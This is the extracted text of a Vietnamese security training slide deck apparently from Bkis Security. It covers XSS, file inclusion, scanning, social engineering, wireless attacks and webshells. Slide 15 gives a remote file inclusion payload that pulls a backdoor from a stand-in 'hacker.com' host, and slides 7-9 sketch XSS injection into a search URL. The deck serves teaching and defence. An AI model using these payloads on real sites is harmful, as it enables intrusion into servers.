Download - Security Task Force Trainning
![Page 1: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/1.jpg)
Security Task Force Trainning
Nguyễn Ngọc MinhBkis Security
![Page 2: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/2.jpg)
Nội dung bài giới thiệu
Các lỗ hổng XSS & File Inclusion
Tấn công dựa trên thăm dò và tìm kiếm (Footprinting, Scanning)
Tấn công dựa trên điểm yếu con người (Social Engineering)
Tấn công qua mạng không dây (Wireless Hacking)
Case Study: Làm việc với các webshell cơ bản.
![Page 3: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/3.jpg)
Lỗ hổng XSS
![Page 4: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/4.jpg)
Xét một ví dụ thực tế
Login Login
???
Cookie1 Cookie2
Session1 Session2
![Page 5: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/5.jpg)
Mỗi trình duyệt có thể mở nhiều website
![Page 6: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/6.jpg)
Cơ chế Cross –Domain giúp cho “website” này không lấy được thông tin của “website” kia
![Page 7: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/7.jpg)
http://bkav.com/timkiem.asp?tukhoa=hello
<br><div class="agent_name">Kết quả tìm kiếm<br><br>Không tìm thấy từ hello<br><br></div>
MỌI THÔNG TIN INPUT ĐỀU ĐƯỢC OUTPUT RA TRÌNH DUYỆT!!!
![Page 8: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/8.jpg)
http://bkav.com/timkiem.asp?tukhoa= hello<br><br></div> [Một đoạn mã html - Javascript] <div>
Một đoãn Mã JavaScript sẽ được thực thi!!!
<br><div class="agent_name">Kết quả tìm kiếm<br><br>Không tìm thấy từ hello<br><br></div> [Một đoạn mã html- Javascript] <div> <br><br></div>
![Page 9: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/9.jpg)
http://bkav.com/timkiem.asp?tukhoa= hello<br><br></div> [Một đoạn mã html - Javascript] <div>
Một đoãn Mã JavaScript sẽ được thực thi!!!
<br><div class="agent_name">Kết quả tìm kiếm<br><br>Không tìm thấy từ hello<br><br></div> [Một đoạn mã html- Javascript] <div> <br><br></div>
![Page 10: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/10.jpg)
Kịch bản tấn công XSS
![Page 11: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/11.jpg)
DEMO: Khai thác lỗ hổng XSS
![Page 12: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/12.jpg)
Lỗ hổng File Inclusion
![Page 13: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/13.jpg)
Cơ chế Include
……..Include(‘a.txt’)………
a.Txt………..……..….......……..
……..…….........………….…….........………….………
![Page 14: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/14.jpg)
Vì sao cần phải có cơ chế include
Tối giản mã
Phát triển module
……..
![Page 15: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/15.jpg)
nokia/product_info.phpsony/product_info.php
include(“$sanpham/product.info”);http://hacker.com/backdoor.txt%00
include(“http://hacker.com/backdoor.txt%00/product.info”);
include(“http://hacker.com/backdoor.txt”);
![Page 16: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/16.jpg)
DEMO: Khai thác lỗ hổng File Inclusion
![Page 17: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/17.jpg)
Tấn công qua các lỗ hổng đã biết
![Page 18: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/18.jpg)
* Bản vá
* Mã khai thác được công bố
* Target
![Page 19: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/19.jpg)
DEMO: Tấn công khai tháchttp://www.faultlyne.com
![Page 20: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/20.jpg)
Foot Printing & Scanning
![Page 21: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/21.jpg)
Foot Printing & Scanning???
![Page 22: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/22.jpg)
DEMO: Lấy thông tin của www.bkav.com.vn
![Page 23: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/23.jpg)
NMAP
![Page 24: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/24.jpg)
Google Hacking
![Page 25: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/25.jpg)
![Page 26: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/26.jpg)
![Page 27: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/27.jpg)
![Page 28: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/28.jpg)
Social Engineering
![Page 29: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/29.jpg)
• Gọi điện thoại
• Nhân viên dịch vụ…
![Page 30: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/30.jpg)
Wireless Hacking
![Page 31: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/31.jpg)
Mã hóa
Chứng thực
WEP
WPA
WPA2
![Page 32: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/32.jpg)
Case Study:Thực hành với các webshell
![Page 33: Security Task Force Trainning](https://reader036.vdocuments.site/reader036/viewer/2022062419/5587b9ced8b42a82398b4607/html5/thumbnails/33.jpg)
Xin cảm ơn